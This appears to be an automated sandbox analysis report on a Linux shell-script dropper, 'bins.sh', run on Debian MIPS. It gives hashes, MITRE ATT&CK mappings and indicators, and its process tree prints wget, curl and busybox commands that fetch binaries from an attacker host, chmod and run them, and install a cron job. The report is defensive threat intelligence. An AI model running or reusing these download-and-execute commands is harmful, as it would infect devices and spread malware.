7a86a2ccec92de02fdf06d3ca7477e30370782b4d90be12c0c8c9f39b0d2405c

Analysis

max time kernel
150s
max time network
150s
platform
debian-9_mipsel
resource
debian9-mipsel-20240611-en
resource tags

arch:mipselimage:debian9-mipsel-20240611-enkernel:4.9.0-13-4kc-maltalocale:en-usos:debian-9-mipselsystem
submitted
22/11/2024, 08:27

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General

Target
bins.sh
Size 10KB
Sample241122-kcemwstlbl
SHA256 7a86a2ccec92de02fdf06d3ca7477e30370782b4d90be12c0c8c9f39b0d2405c
MD5 6e555a45653e776efa9c7f29b0d79156
SHA1 7a0cd8b1d70c9eed4dd226aaec813a99cd0adeb1
SHA512 8eb131d8379aa3de0e37042d0716f2e435f8d1287fafd8929bf6a094d1ae50c8b69ed2f33b85103b5f2eb223b7b73c70a29df21d1e266bfdd4d60f6e9d8b027c
SSDEEP 192:cT9OA/zwpJbN5m3HP+CsOc9BkH3UcN5m3HQ9BkH3qEsm/zwpJHE:s9O3N5m3HP+CL8cN5m3HuED
MD5 SHA1 SHA512 SSDEEP

Score

8^/10

defense_evasion discovery execution persistence privilege_escalatio

Malware Config

Signatures

Contacts a large (1678) amount of remote hosts 1 TTPs
This may indicate a network scan to discover remotely running services.
discovery

Network Service Discovery
T1046

File and Directory Permissions Modification 1 TTPs 8 IoCs

Adversaries may modify file or directory permissions to evade defenses.

defense_evasion

Linux and Mac File and Directory Permissions Modification

T1222.002

pid	Process
869	chmod
735	chmod
743	chmod
782	chmod
804	chmod
827	chmod
853	chmod
861	chmod

Executes dropped EXE 8 IoCs

ioc	pid	Process
/tmp/XdMbpJ54GpioCmjbrdBRP3l6gBWbQMbIdk	736	XdMbpJ54GpioCmjbrdBRP3l6gBWbQMbIdk
/tmp/QUj6aYEw5bTMQDNImXQC5DH2E1JSpiVqO2	744	QUj6aYEw5bTMQDNImXQC5DH2E1JSpiVqO2
/tmp/taheel3akn57jHIR7LKWSQ0gD5yWmxmmvU	784	taheel3akn57jHIR7LKWSQ0gD5yWmxmmvU
/tmp/1z3NW3vx4EqcjJwWUvptMTQMfG5dhRfdi1	805	1z3NW3vx4EqcjJwWUvptMTQMfG5dhRfdi1
/tmp/MrFKjRhQJMSG7BD55c57K3MozEzXUeVicc	829	MrFKjRhQJMSG7BD55c57K3MozEzXUeVicc
/tmp/h6lLungFudWQIGZei2atCQ6dkTYYteA9w7	854	h6lLungFudWQIGZei2atCQ6dkTYYteA9w7
/tmp/OXfhLg9roHyHCSBL22LZ5X8eMW9vLOHbOS	862	OXfhLg9roHyHCSBL22LZ5X8eMW9vLOHbOS
/tmp/j8L1EDCD8eG3Sfht437HeB7aAKOz6W1W6n	870	j8L1EDCD8eG3Sfht437HeB7aAKOz6W1W6n

Renames itself 1 IoCs

pid	Process
871	j8L1EDCD8eG3Sfht437HeB7aAKOz6W1W6n

Creates a large amount of network flows 1 TTPs
This may indicate a network scan to discover remotely running services.
discovery

Network Service Discovery
T1046

Creates/modifies Cron job 1 TTPs 1 IoCs

Cron allows running tasks on a schedule, and is commonly used for malware persistence.

execution persistence privilege_escalatio

Cron

T1053.003

description	ioc	Process
File opened for modification	/var/spool/cron/crontabs/tmp.oHkwcv	crontab

Enumerates running processes
Discovers information about currently running processes on the system

Reads runtime system information 64 IoCs

Reads data from /proc virtual filesystem.

discovery

description	ioc	Process
File opened for reading	/proc/933/cmdline	j8L1EDCD8eG3Sfht437HeB7aAKOz6W1W6n
File opened for reading	/proc/969/cmdline	j8L1EDCD8eG3Sfht437HeB7aAKOz6W1W6n
File opened for reading	/proc/980/cmdline	j8L1EDCD8eG3Sfht437HeB7aAKOz6W1W6n
File opened for reading	/proc/1025/cmdline	j8L1EDCD8eG3Sfht437HeB7aAKOz6W1W6n
File opened for reading	/proc/1083/cmdline	j8L1EDCD8eG3Sfht437HeB7aAKOz6W1W6n
File opened for reading	/proc/1091/cmdline	j8L1EDCD8eG3Sfht437HeB7aAKOz6W1W6n
File opened for reading	/proc/12/cmdline	j8L1EDCD8eG3Sfht437HeB7aAKOz6W1W6n
File opened for reading	/proc/930/cmdline	j8L1EDCD8eG3Sfht437HeB7aAKOz6W1W6n
File opened for reading	/proc/1185/cmdline	j8L1EDCD8eG3Sfht437HeB7aAKOz6W1W6n
File opened for reading	/proc/1124/cmdline	j8L1EDCD8eG3Sfht437HeB7aAKOz6W1W6n
File opened for reading	/proc/1153/cmdline	j8L1EDCD8eG3Sfht437HeB7aAKOz6W1W6n
File opened for reading	/proc/990/cmdline	j8L1EDCD8eG3Sfht437HeB7aAKOz6W1W6n
File opened for reading	/proc/1020/cmdline	j8L1EDCD8eG3Sfht437HeB7aAKOz6W1W6n
File opened for reading	/proc/1158/cmdline	j8L1EDCD8eG3Sfht437HeB7aAKOz6W1W6n
File opened for reading	/proc/929/cmdline	j8L1EDCD8eG3Sfht437HeB7aAKOz6W1W6n
File opened for reading	/proc/938/cmdline	j8L1EDCD8eG3Sfht437HeB7aAKOz6W1W6n
File opened for reading	/proc/1107/cmdline	j8L1EDCD8eG3Sfht437HeB7aAKOz6W1W6n
File opened for reading	/proc/995/cmdline	j8L1EDCD8eG3Sfht437HeB7aAKOz6W1W6n
File opened for reading	/proc/1077/cmdline	j8L1EDCD8eG3Sfht437HeB7aAKOz6W1W6n
File opened for reading	/proc/1028/cmdline	j8L1EDCD8eG3Sfht437HeB7aAKOz6W1W6n
File opened for reading	/proc/1044/cmdline	j8L1EDCD8eG3Sfht437HeB7aAKOz6W1W6n
File opened for reading	/proc/1134/cmdline	j8L1EDCD8eG3Sfht437HeB7aAKOz6W1W6n
File opened for reading	/proc/148/cmdline	j8L1EDCD8eG3Sfht437HeB7aAKOz6W1W6n
File opened for reading	/proc/665/cmdline	j8L1EDCD8eG3Sfht437HeB7aAKOz6W1W6n
File opened for reading	/proc/78/cmdline	j8L1EDCD8eG3Sfht437HeB7aAKOz6W1W6n
File opened for reading	/proc/81/cmdline	j8L1EDCD8eG3Sfht437HeB7aAKOz6W1W6n
File opened for reading	/proc/733/cmdline	j8L1EDCD8eG3Sfht437HeB7aAKOz6W1W6n
File opened for reading	/proc/984/cmdline	j8L1EDCD8eG3Sfht437HeB7aAKOz6W1W6n
File opened for reading	/proc/1002/cmdline	j8L1EDCD8eG3Sfht437HeB7aAKOz6W1W6n
File opened for reading	/proc/1051/cmdline	j8L1EDCD8eG3Sfht437HeB7aAKOz6W1W6n
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/24/cmdline	j8L1EDCD8eG3Sfht437HeB7aAKOz6W1W6n
File opened for reading	/proc/1111/cmdline	j8L1EDCD8eG3Sfht437HeB7aAKOz6W1W6n
File opened for reading	/proc/1181/cmdline	j8L1EDCD8eG3Sfht437HeB7aAKOz6W1W6n
File opened for reading	/proc/1060/cmdline	j8L1EDCD8eG3Sfht437HeB7aAKOz6W1W6n
File opened for reading	/proc/1090/cmdline	j8L1EDCD8eG3Sfht437HeB7aAKOz6W1W6n
File opened for reading	/proc/1084/cmdline	j8L1EDCD8eG3Sfht437HeB7aAKOz6W1W6n
File opened for reading	/proc/1154/cmdline	j8L1EDCD8eG3Sfht437HeB7aAKOz6W1W6n
File opened for reading	/proc/165/cmdline	j8L1EDCD8eG3Sfht437HeB7aAKOz6W1W6n
File opened for reading	/proc/879/cmdline	j8L1EDCD8eG3Sfht437HeB7aAKOz6W1W6n
File opened for reading	/proc/964/cmdline	j8L1EDCD8eG3Sfht437HeB7aAKOz6W1W6n
File opened for reading	/proc/1016/cmdline	j8L1EDCD8eG3Sfht437HeB7aAKOz6W1W6n
File opened for reading	/proc/1026/cmdline	j8L1EDCD8eG3Sfht437HeB7aAKOz6W1W6n
File opened for reading	/proc/1027/cmdline	j8L1EDCD8eG3Sfht437HeB7aAKOz6W1W6n
File opened for reading	/proc/1066/cmdline	j8L1EDCD8eG3Sfht437HeB7aAKOz6W1W6n
File opened for reading	/proc/1116/cmdline	j8L1EDCD8eG3Sfht437HeB7aAKOz6W1W6n
File opened for reading	/proc/19/cmdline	j8L1EDCD8eG3Sfht437HeB7aAKOz6W1W6n
File opened for reading	/proc/20/cmdline	j8L1EDCD8eG3Sfht437HeB7aAKOz6W1W6n
File opened for reading	/proc/1009/cmdline	j8L1EDCD8eG3Sfht437HeB7aAKOz6W1W6n
File opened for reading	/proc/104/cmdline	j8L1EDCD8eG3Sfht437HeB7aAKOz6W1W6n
File opened for reading	/proc/225/cmdline	j8L1EDCD8eG3Sfht437HeB7aAKOz6W1W6n
File opened for reading	/proc/911/cmdline	j8L1EDCD8eG3Sfht437HeB7aAKOz6W1W6n
File opened for reading	/proc/936/cmdline	j8L1EDCD8eG3Sfht437HeB7aAKOz6W1W6n
File opened for reading	/proc/881/cmdline	j8L1EDCD8eG3Sfht437HeB7aAKOz6W1W6n
File opened for reading	/proc/892/cmdline	j8L1EDCD8eG3Sfht437HeB7aAKOz6W1W6n
File opened for reading	/proc/948/cmdline	j8L1EDCD8eG3Sfht437HeB7aAKOz6W1W6n
File opened for reading	/proc/1035/cmdline	j8L1EDCD8eG3Sfht437HeB7aAKOz6W1W6n
File opened for reading	/proc/1073/cmdline	j8L1EDCD8eG3Sfht437HeB7aAKOz6W1W6n
File opened for reading	/proc/1170/cmdline	j8L1EDCD8eG3Sfht437HeB7aAKOz6W1W6n
File opened for reading	/proc/908/cmdline	j8L1EDCD8eG3Sfht437HeB7aAKOz6W1W6n
File opened for reading	/proc/924/cmdline	j8L1EDCD8eG3Sfht437HeB7aAKOz6W1W6n
File opened for reading	/proc/937/cmdline	j8L1EDCD8eG3Sfht437HeB7aAKOz6W1W6n
File opened for reading	/proc/1054/cmdline	j8L1EDCD8eG3Sfht437HeB7aAKOz6W1W6n
File opened for reading	/proc/1103/cmdline	j8L1EDCD8eG3Sfht437HeB7aAKOz6W1W6n

System Network Configuration Discovery 1 TTPs 25 IoCs

Adversaries may gather information about the network configuration of a system.

discovery

System Network Configuration Discovery

T1016

pid	Process
880	wget
726	curl
739	wget
803	busybox
850	curl
865	wget
858	curl
749	wget
801	curl
809	curl
819	busybox
857	wget
710	wget
742	busybox
768	curl
852	busybox
868	busybox
833	wget
860	busybox
866	curl
734	busybox
740	curl
778	busybox
788	wget
808	wget

Writes file to tmp directory 24 IoCs

Malware often drops required files in the /tmp directory.

description	ioc	Process
File opened for modification	/tmp/XdMbpJ54GpioCmjbrdBRP3l6gBWbQMbIdk	busybox
File opened for modification	/tmp/1z3NW3vx4EqcjJwWUvptMTQMfG5dhRfdi1	wget
File opened for modification	/tmp/1z3NW3vx4EqcjJwWUvptMTQMfG5dhRfdi1	busybox
File opened for modification	/tmp/MrFKjRhQJMSG7BD55c57K3MozEzXUeVicc	busybox
File opened for modification	/tmp/OXfhLg9roHyHCSBL22LZ5X8eMW9vLOHbOS	busybox
File opened for modification	/tmp/h6lLungFudWQIGZei2atCQ6dkTYYteA9w7	wget
File opened for modification	/tmp/h6lLungFudWQIGZei2atCQ6dkTYYteA9w7	busybox
File opened for modification	/tmp/XdMbpJ54GpioCmjbrdBRP3l6gBWbQMbIdk	wget
File opened for modification	/tmp/XdMbpJ54GpioCmjbrdBRP3l6gBWbQMbIdk	curl
File opened for modification	/tmp/QUj6aYEw5bTMQDNImXQC5DH2E1JSpiVqO2	curl
File opened for modification	/tmp/taheel3akn57jHIR7LKWSQ0gD5yWmxmmvU	curl
File opened for modification	/tmp/taheel3akn57jHIR7LKWSQ0gD5yWmxmmvU	busybox
File opened for modification	/tmp/j8L1EDCD8eG3Sfht437HeB7aAKOz6W1W6n	busybox
File opened for modification	/tmp/QUj6aYEw5bTMQDNImXQC5DH2E1JSpiVqO2	wget
File opened for modification	/tmp/taheel3akn57jHIR7LKWSQ0gD5yWmxmmvU	wget
File opened for modification	/tmp/1z3NW3vx4EqcjJwWUvptMTQMfG5dhRfdi1	curl
File opened for modification	/tmp/MrFKjRhQJMSG7BD55c57K3MozEzXUeVicc	wget
File opened for modification	/tmp/h6lLungFudWQIGZei2atCQ6dkTYYteA9w7	curl
File opened for modification	/tmp/j8L1EDCD8eG3Sfht437HeB7aAKOz6W1W6n	curl
File opened for modification	/tmp/QUj6aYEw5bTMQDNImXQC5DH2E1JSpiVqO2	busybox
File opened for modification	/tmp/MrFKjRhQJMSG7BD55c57K3MozEzXUeVicc	curl
File opened for modification	/tmp/OXfhLg9roHyHCSBL22LZ5X8eMW9vLOHbOS	wget
File opened for modification	/tmp/OXfhLg9roHyHCSBL22LZ5X8eMW9vLOHbOS	curl
File opened for modification	/tmp/j8L1EDCD8eG3Sfht437HeB7aAKOz6W1W6n	wget

/tmp/bins.sh
/tmp/bins.sh
1⤵
PID:702
- /bin/rm
  /bin/rm bins.sh
  2⤵
  PID:705
- /usr/bin/wget
  wget http://conn.masjesu.zip/bins/XdMbpJ54GpioCmjbrdBRP3l6gBWbQMbIdk
  2⤵
  - System Network Configuration Discovery
  - Writes file to tmp directory
  PID:710
- /usr/bin/curl
  curl -O http://conn.masjesu.zip/bins/XdMbpJ54GpioCmjbrdBRP3l6gBWbQMbIdk
  2⤵
  - System Network Configuration Discovery
  - Writes file to tmp directory
  PID:726
- /bin/busybox
  /bin/busybox wget http://conn.masjesu.zip/bins/XdMbpJ54GpioCmjbrdBRP3l6gBWbQMbIdk
  2⤵
  - System Network Configuration Discovery
  - Writes file to tmp directory
  PID:734
- /bin/chmod
  chmod 777 XdMbpJ54GpioCmjbrdBRP3l6gBWbQMbIdk
  2⤵
  - File and Directory Permissions Modification
  PID:735
- /tmp/XdMbpJ54GpioCmjbrdBRP3l6gBWbQMbIdk
  ./XdMbpJ54GpioCmjbrdBRP3l6gBWbQMbIdk
  2⤵
  - Executes dropped EXE
  PID:736
- /bin/rm
  rm XdMbpJ54GpioCmjbrdBRP3l6gBWbQMbIdk
  2⤵
  PID:738
- /usr/bin/wget
  wget http://conn.masjesu.zip/bins/QUj6aYEw5bTMQDNImXQC5DH2E1JSpiVqO2
  2⤵
  - System Network Configuration Discovery
  - Writes file to tmp directory
  PID:739
- /usr/bin/curl
  curl -O http://conn.masjesu.zip/bins/QUj6aYEw5bTMQDNImXQC5DH2E1JSpiVqO2
  2⤵
  - Reads runtime system information
  - System Network Configuration Discovery
  - Writes file to tmp directory
  PID:740
- /bin/busybox
  /bin/busybox wget http://conn.masjesu.zip/bins/QUj6aYEw5bTMQDNImXQC5DH2E1JSpiVqO2
  2⤵
  - System Network Configuration Discovery
  - Writes file to tmp directory
  PID:742
- /bin/chmod
  chmod 777 QUj6aYEw5bTMQDNImXQC5DH2E1JSpiVqO2
  2⤵
  - File and Directory Permissions Modification
  PID:743
- /tmp/QUj6aYEw5bTMQDNImXQC5DH2E1JSpiVqO2
  ./QUj6aYEw5bTMQDNImXQC5DH2E1JSpiVqO2
  2⤵
  - Executes dropped EXE
  PID:744
- /bin/rm
  rm QUj6aYEw5bTMQDNImXQC5DH2E1JSpiVqO2
  2⤵
  PID:748
- /usr/bin/wget
  wget http://conn.masjesu.zip/bins/taheel3akn57jHIR7LKWSQ0gD5yWmxmmvU
  2⤵
  - System Network Configuration Discovery
  - Writes file to tmp directory
  PID:749
- /usr/bin/curl
  curl -O http://conn.masjesu.zip/bins/taheel3akn57jHIR7LKWSQ0gD5yWmxmmvU
  2⤵
  - System Network Configuration Discovery
  - Writes file to tmp directory
  PID:768
- /bin/busybox
  /bin/busybox wget http://conn.masjesu.zip/bins/taheel3akn57jHIR7LKWSQ0gD5yWmxmmvU
  2⤵
  - System Network Configuration Discovery
  - Writes file to tmp directory
  PID:778
- /bin/chmod
  chmod 777 taheel3akn57jHIR7LKWSQ0gD5yWmxmmvU
  2⤵
  - File and Directory Permissions Modification
  PID:782
- /tmp/taheel3akn57jHIR7LKWSQ0gD5yWmxmmvU
  ./taheel3akn57jHIR7LKWSQ0gD5yWmxmmvU
  2⤵
  - Executes dropped EXE
  PID:784
- /bin/rm
  rm taheel3akn57jHIR7LKWSQ0gD5yWmxmmvU
  2⤵
  PID:786
- /usr/bin/wget
  wget http://conn.masjesu.zip/bins/1z3NW3vx4EqcjJwWUvptMTQMfG5dhRfdi1
  2⤵
  - System Network Configuration Discovery
  - Writes file to tmp directory
  PID:788
- /usr/bin/curl
  curl -O http://conn.masjesu.zip/bins/1z3NW3vx4EqcjJwWUvptMTQMfG5dhRfdi1
  2⤵
  - System Network Configuration Discovery
  - Writes file to tmp directory
  PID:801
- /bin/busybox
  /bin/busybox wget http://conn.masjesu.zip/bins/1z3NW3vx4EqcjJwWUvptMTQMfG5dhRfdi1
  2⤵
  - System Network Configuration Discovery
  - Writes file to tmp directory
  PID:803
- /bin/chmod
  chmod 777 1z3NW3vx4EqcjJwWUvptMTQMfG5dhRfdi1
  2⤵
  - File and Directory Permissions Modification
  PID:804
- /tmp/1z3NW3vx4EqcjJwWUvptMTQMfG5dhRfdi1
  ./1z3NW3vx4EqcjJwWUvptMTQMfG5dhRfdi1
  2⤵
  - Executes dropped EXE
  PID:805
- /bin/rm
  rm 1z3NW3vx4EqcjJwWUvptMTQMfG5dhRfdi1
  2⤵
  PID:807
- /usr/bin/wget
  wget http://conn.masjesu.zip/bins/MrFKjRhQJMSG7BD55c57K3MozEzXUeVicc
  2⤵
  - System Network Configuration Discovery
  - Writes file to tmp directory
  PID:808
- /usr/bin/curl
  curl -O http://conn.masjesu.zip/bins/MrFKjRhQJMSG7BD55c57K3MozEzXUeVicc
  2⤵
  - System Network Configuration Discovery
  - Writes file to tmp directory
  PID:809
- /bin/busybox
  /bin/busybox wget http://conn.masjesu.zip/bins/MrFKjRhQJMSG7BD55c57K3MozEzXUeVicc
  2⤵
  - System Network Configuration Discovery
  - Writes file to tmp directory
  PID:819
- /bin/chmod
  chmod 777 MrFKjRhQJMSG7BD55c57K3MozEzXUeVicc
  2⤵
  - File and Directory Permissions Modification
  PID:827
- /tmp/MrFKjRhQJMSG7BD55c57K3MozEzXUeVicc
  ./MrFKjRhQJMSG7BD55c57K3MozEzXUeVicc
  2⤵
  - Executes dropped EXE
  PID:829
- /bin/rm
  rm MrFKjRhQJMSG7BD55c57K3MozEzXUeVicc
  2⤵
  PID:831
- /usr/bin/wget
  wget http://conn.masjesu.zip/bins/h6lLungFudWQIGZei2atCQ6dkTYYteA9w7
  2⤵
  - System Network Configuration Discovery
  - Writes file to tmp directory
  PID:833
- /usr/bin/curl
  curl -O http://conn.masjesu.zip/bins/h6lLungFudWQIGZei2atCQ6dkTYYteA9w7
  2⤵
  - System Network Configuration Discovery
  - Writes file to tmp directory
  PID:850
- /bin/busybox
  /bin/busybox wget http://conn.masjesu.zip/bins/h6lLungFudWQIGZei2atCQ6dkTYYteA9w7
  2⤵
  - System Network Configuration Discovery
  - Writes file to tmp directory
  PID:852
- /bin/chmod
  chmod 777 h6lLungFudWQIGZei2atCQ6dkTYYteA9w7
  2⤵
  - File and Directory Permissions Modification
  PID:853
- /tmp/h6lLungFudWQIGZei2atCQ6dkTYYteA9w7
  ./h6lLungFudWQIGZei2atCQ6dkTYYteA9w7
  2⤵
  - Executes dropped EXE
  PID:854
- /bin/rm
  rm h6lLungFudWQIGZei2atCQ6dkTYYteA9w7
  2⤵
  PID:856
- /usr/bin/wget
  wget http://conn.masjesu.zip/bins/OXfhLg9roHyHCSBL22LZ5X8eMW9vLOHbOS
  2⤵
  - System Network Configuration Discovery
  - Writes file to tmp directory
  PID:857
- /usr/bin/curl
  curl -O http://conn.masjesu.zip/bins/OXfhLg9roHyHCSBL22LZ5X8eMW9vLOHbOS
  2⤵
  - System Network Configuration Discovery
  - Writes file to tmp directory
  PID:858
- /bin/busybox
  /bin/busybox wget http://conn.masjesu.zip/bins/OXfhLg9roHyHCSBL22LZ5X8eMW9vLOHbOS
  2⤵
  - System Network Configuration Discovery
  - Writes file to tmp directory
  PID:860
- /bin/chmod
  chmod 777 OXfhLg9roHyHCSBL22LZ5X8eMW9vLOHbOS
  2⤵
  - File and Directory Permissions Modification
  PID:861
- /tmp/OXfhLg9roHyHCSBL22LZ5X8eMW9vLOHbOS
  ./OXfhLg9roHyHCSBL22LZ5X8eMW9vLOHbOS
  2⤵
  - Executes dropped EXE
  PID:862
- /bin/rm
  rm OXfhLg9roHyHCSBL22LZ5X8eMW9vLOHbOS
  2⤵
  PID:864
- /usr/bin/wget
  wget http://conn.masjesu.zip/bins/j8L1EDCD8eG3Sfht437HeB7aAKOz6W1W6n
  2⤵
  - System Network Configuration Discovery
  - Writes file to tmp directory
  PID:865
- /usr/bin/curl
  curl -O http://conn.masjesu.zip/bins/j8L1EDCD8eG3Sfht437HeB7aAKOz6W1W6n
  2⤵
  - System Network Configuration Discovery
  - Writes file to tmp directory
  PID:866
- /bin/busybox
  /bin/busybox wget http://conn.masjesu.zip/bins/j8L1EDCD8eG3Sfht437HeB7aAKOz6W1W6n
  2⤵
  - System Network Configuration Discovery
  - Writes file to tmp directory
  PID:868
- /bin/chmod
  chmod 777 j8L1EDCD8eG3Sfht437HeB7aAKOz6W1W6n
  2⤵
  - File and Directory Permissions Modification
  PID:869
- /tmp/j8L1EDCD8eG3Sfht437HeB7aAKOz6W1W6n
  ./j8L1EDCD8eG3Sfht437HeB7aAKOz6W1W6n
  2⤵
  - Executes dropped EXE
  - Renames itself
  - Reads runtime system information
  PID:870
- - /bin/sh
    sh -c "crontab -l"
    3⤵
    PID:872
  - - /usr/bin/crontab
      crontab -l
      4⤵
      PID:873
- - /bin/sh
    sh -c "crontab -"
    3⤵
    PID:874
  - - /usr/bin/crontab
      crontab -
      4⤵
      Creates/modifies Cron job
      PID:875
- /bin/rm
  rm j8L1EDCD8eG3Sfht437HeB7aAKOz6W1W6n
  2⤵
  PID:877
- /usr/bin/wget
  wget http://conn.masjesu.zip/bins/Rsz41e6ZSjCXdRczFac7EaAEk7vB5ubLIq
  2⤵
  - System Network Configuration Discovery
  PID:880

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Scheduled Task/Job

T1053

Cron

T1053.003

Persistence

Scheduled Task/Job

T1053

Cron

T1053.003

Privilege Escalation

Scheduled Task/Job

T1053

Cron

T1053.003

Defense Evasion

File and Directory Permissions Modification

T1222

Linux and Mac File and Directory Permissions Modification

T1222.002

Credential Access

Discovery

Network Service Discovery

T1046

System Network Configuration Discovery

T1016

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

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Downloads

1z3NW3vx4EqcjJwWUvptMTQMfG5dhRfdi1

Path /tmp/1z3NW3vx4EqcjJwWUvptMTQMfG5dhRfdi1
Size 119KB
SHA256 94a19b33124cbbc1c570b3338f4dfbb2bf1a9335a72acf22be02a9bb8a323cc9
MD5 1b166b95f9cb4b079ef1b9ec8363ddf3
SHA1 0d8eb08add467b3b5474f9b25909297fe7c2839c
SHA512 983ae0f399df2a6cf1dd48ba09098964c5dcb55b8bd049bce8e9c2c15dd88336642da64908d93221247a64ce987950b05042b0fac8474b179f0b1f7f0aca6925
SSDEEP 3072:lbeGHulXta3Yz+u6b/tDrHvIAJ9GjOHSHm8RiQztBJk9zEp:Re3ODtDbvIg9Gj7Hm8RiQztB+9zEp
MD5 SHA1 SHA512 SSDEEP

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MrFKjRhQJMSG7BD55c57K3MozEzXUeVicc

Path /tmp/MrFKjRhQJMSG7BD55c57K3MozEzXUeVicc
Size 127KB
SHA256 78416feab0c93152d65acc8f48835520db083cc3aed0aea622b9fb88284dc00d
MD5 89077b7bd4bcafca7713be43635c4862
SHA1 fc02edb8fba29ea8ee99e6157ef8560334530052
SHA512 1b457b8f8d452eecaad9013241e50672befb70feb5349f5fa72d62ea1fa8affa968763e6511cc76cdc5bf12f080e4a8f10c8e141ccd0d36794e721d690f2c4b1
SSDEEP 3072:fgO463guSRVw5OhgfgnoHOIcv6Gosjr7fxmxKjQVnaMk9H8p:4ZmgoHONvposj3fxmxKjQVnal9H8p
MD5 SHA1 SHA512 SSDEEP

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OXfhLg9roHyHCSBL22LZ5X8eMW9vLOHbOS

Path /tmp/OXfhLg9roHyHCSBL22LZ5X8eMW9vLOHbOS
Size 111KB
SHA256 043df61baf17d6a2353b418c5f87eebea4ca1c3fd6b63eaccc34d9bcd0556832
MD5 ca897a38f23ec23521ce0b1b83f8422d
SHA1 b8d2ab335346aba9a72bae0fe3533aca1ab7b66a
SHA512 10d3026b43167121b62786dde231a04e25eb27905989f59a92b5eba92134e30cea554a73e419d3a505e650ee4c474ee407103df335cd84bd8c0f3428ccc16feb
SSDEEP 3072:/hn2ZF7rLLveDuceOZ8r4xcG0m/pOQbZJXx35zzp:QZF7rLLveDYOZa46G0m/pOQbZJXx5zzp
MD5 SHA1 SHA512 SSDEEP

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QUj6aYEw5bTMQDNImXQC5DH2E1JSpiVqO2

Path /tmp/QUj6aYEw5bTMQDNImXQC5DH2E1JSpiVqO2
Size 112KB
SHA256 2cb1fa4742268fb0196613aee7a39a08a0707b3ef8853280d5060c44f3650d70
MD5 05d7857dcead18bbd86d2935f591873c
SHA1 34d18f41ef35f93d5364ce3e24d74730a4e91985
SHA512 d1793861067758a064ac1d59c80c78f9cb4b64dd680ab4a62dd050156dc0318dde590c7b44c1184c9ee926f73c3fc242662e42645faab6685ecef9d238d2e53e
SSDEEP 3072:o0pHqiUxCoypP1Xyukbt56UFQ71SMSmUHM5RmNtbm9c:REOtiukxc3SmUHM5Rm/bm9c
MD5 SHA1 SHA512 SSDEEP

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XdMbpJ54GpioCmjbrdBRP3l6gBWbQMbIdk

Path /tmp/XdMbpJ54GpioCmjbrdBRP3l6gBWbQMbIdk
Size 122KB
SHA256 0cbb1e62423a82d17a7b1c9def6a5570a8414f36e2623f1d82cd4e6281930944
MD5 cd3d4b9c643e5b473fb4d88ed05f0716
SHA1 64ee7a97418583d759eaea8000890cc3bae1b5f4
SHA512 164ee6eb1dc167f48a62683700bf3a4787f9ec4b12335e9e30d6670406324d111557b3be22fd6a9689b4f60562c8a3bf62867f2cae86c04cb1b01ee2e219cc52
SSDEEP 3072:QON+vZgnSgtpg1sgnHgS4rpq26zEz2IyombPQbZBmf35ZYp:Q0bY3AH36y2ambPQbZBm/5ZYp
MD5 SHA1 SHA512 SSDEEP

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h6lLungFudWQIGZei2atCQ6dkTYYteA9w7

Path /tmp/h6lLungFudWQIGZei2atCQ6dkTYYteA9w7
Size 151KB
SHA256 bdebb67266d5f96b7d85cfb9644deee81161b54b60b0fded6cf36544a15fa9b2
MD5 3c90d5820bddcf7c5d1bd21dfa49d958
SHA1 5ba05bd489e50af97d6dc45e3a0be60e494d5083
SHA512 54a0e2ec10040634100fb5c4bddc35f558471f4ff833f9ad20f16ffd14c286cf251841bdaad7c557c3c78efc2094db91038c195c0ddabdecf9beac97ff2ce01a
SSDEEP 1536:mVqSjUF+uLHLVdiLzLsLzLsL7LeLGLXL0LLLkLhqqvZjptByZEGkbU+/pWacxZkI:tr9dy1B2gSpLg70mLjXswi5itRx2p
MD5 SHA1 SHA512 SSDEEP

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j8L1EDCD8eG3Sfht437HeB7aAKOz6W1W6n

Path /tmp/j8L1EDCD8eG3Sfht437HeB7aAKOz6W1W6n
Size 151KB
SHA256 2d63c81a782853efe672a1d9cb00a339ec57207b4075754a1baf1df9af466948
MD5 6c583043d91c55aa470c08c87058e917
SHA1 abf65a5b9bba69980278ad09356e53de8bb89439
SHA512 82ee5f3884edc2cb3e68d8634353964cdb991e250b0592a2f80f5ffb738e64860abe6d030aec0d6ab94596c275b478080579fd65b055cc9055e1ef3de6dd59a5
SSDEEP 3072:iDTElsfhWriM4eiANlb5calmCjXswi5itRx2p:Of4HZLNlbvmCjXswi5i3x2p
MD5 SHA1 SHA512 SSDEEP

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taheel3akn57jHIR7LKWSQ0gD5yWmxmmvU

Path /tmp/taheel3akn57jHIR7LKWSQ0gD5yWmxmmvU
Size 177KB
SHA256 5fb5b9beb44997a6d1baf950a8bf05b94aa59406d82ba2fea27eb13c497d4b18
MD5 786d75a158fe731feca3880f436082c0
SHA1 79ea2734e43d00cdeabed5586b2c1994d02aef3e
SHA512 7984ebc874563267570f828ee158e4860971e184900e3590ac3b4829285443e065dd1ad4df190ceabf575880a4cd8ead4dd1132e9c1650239accf3f6440a3f7f
SSDEEP 3072:PJtid2ng8w4YMrgUqqdaODUvI7UhTIyU2be6CXuVyZM/9h9XKvtZmmmLdwC7tuRD:BtiGGqaODUvI4hc2bvCXuVoM/9PXwPmK
MD5 SHA1 SHA512 SSDEEP

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tmp.oHkwcv

Path /var/spool/cron/crontabs/tmp.oHkwcv
Size 210B
SHA256 31494b15f078b2339ad4630e650612793dac99f1ed26a9432a281ad68bb59f1a
MD5 db11db9742347763871311a019f8f9b8
SHA1 f6202fc9648eb6fe54439a2abdb34399733ed136
SHA512 cb53fabd9605542ec42a72a0915f87420b2080c153b093b9d82ae44e9e03aed2e97df64d103ec3393c32c348e533e6a1261bc813a76d1248408b27712707d682
MD5 SHA1 SHA512

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Analysis

Sharing

General

Malware Config

Signatures

Processes

Network

MITRE ATT&CK Enterprise v15

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Downloads